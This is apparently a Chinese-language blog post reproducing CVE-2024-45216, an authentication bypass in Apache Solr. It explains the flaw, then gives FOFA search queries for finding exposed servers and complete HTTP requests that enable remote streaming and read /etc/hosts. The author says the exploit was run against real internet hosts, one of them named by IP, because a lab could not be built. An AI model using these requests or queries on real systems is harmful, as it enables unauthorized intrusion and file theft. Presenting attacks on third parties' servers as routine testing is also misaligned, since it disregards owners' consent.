CVE-2024-45216 复现

        这个漏洞是24年十月份爆出来的漏洞,此漏洞假的url路径结尾绕过身份认证,主要危害目前爆出来的只有任意文件读取。

        原理:由于apache solr在启用身份验证时默认启用PKIAuthenticationPlugin,当solr以cloud模式启动时,攻击者就可以通过在任何solr apI url路径构造虚假路径结尾,绕过系统身份验证从而访问任意路由,并且可以获取敏感数据或者进行恶意操作等。

        当 Solr 实例使用 PKIAuthenticationPlugin(在启用 Solr 身份验证时,该插件通常是默认启用状态)时,容易出现身份验证被绕过的情况。具体而言,只要在 Solr API URL 路径的末尾添加一个假结尾,相应请求就能跳过身份验证环节,而且还能维持与原始 URL 路径的 API 契约不变。这个假结尾看似是一个处于未受保护状态的 API 路径,不过它会在完成身份验证之后、进入 API 路由之前,于内部被自动剥离掉。

受影响的版本:

5.3.0 <= apache solr < 8.11.4

9.0.0 <= apache solr < 9.7.0

        由于一些原因,靶场未搭建成功需要更高版本的docker,所以我们针对真实环境去复现,使用fofa搜索相关环境。或者说你们也可以自己搭建这种环境。最后会有靶场环境搭建方法

fofa搜索语法:

port="8983" && title="Solr Admin" 

或

app="APACHE-Solr"

因为solr默认是有未授权访问漏洞的,所以我们要找开启了身份验证的环境

因为此时有认证,所以访问其他url也是一样需要认证

/solr/admin/info/properties
/solr/admin/cores

当前这个漏洞,就是可以绕过身份认证的过程,方式就是在原有的uri后加上我们的pyload

绕过身份认证,需要抓取数据包继续进行测试

pyload:

:/admin/info/key

此时发现返回200,访问成功

下面就可以开始利用,重新构造请求报文

第一步:首先我们要获取core name

RSEDataSet_shard1_replica_n2

第二步:修改core的配置

POST /solr/RSEDataSet_shard3_replica_n8/config:/admin/info/key HTTP/1.1
Host: 34.36.52.27
SolrAuth: test
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

这里由于配置文件已经被修改了所以会报服务器错误

所以我们就可以直接去读文件了

GET /solr/core名称/debug/dump:/admin/info/key?
param=ContentStreams&stream.url=file:///etc/hosts HTTP/1.1
Host:
SolrAuth: test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82Safari/537.36 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 
Connection: close

文件读取成功,ok了老铁

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值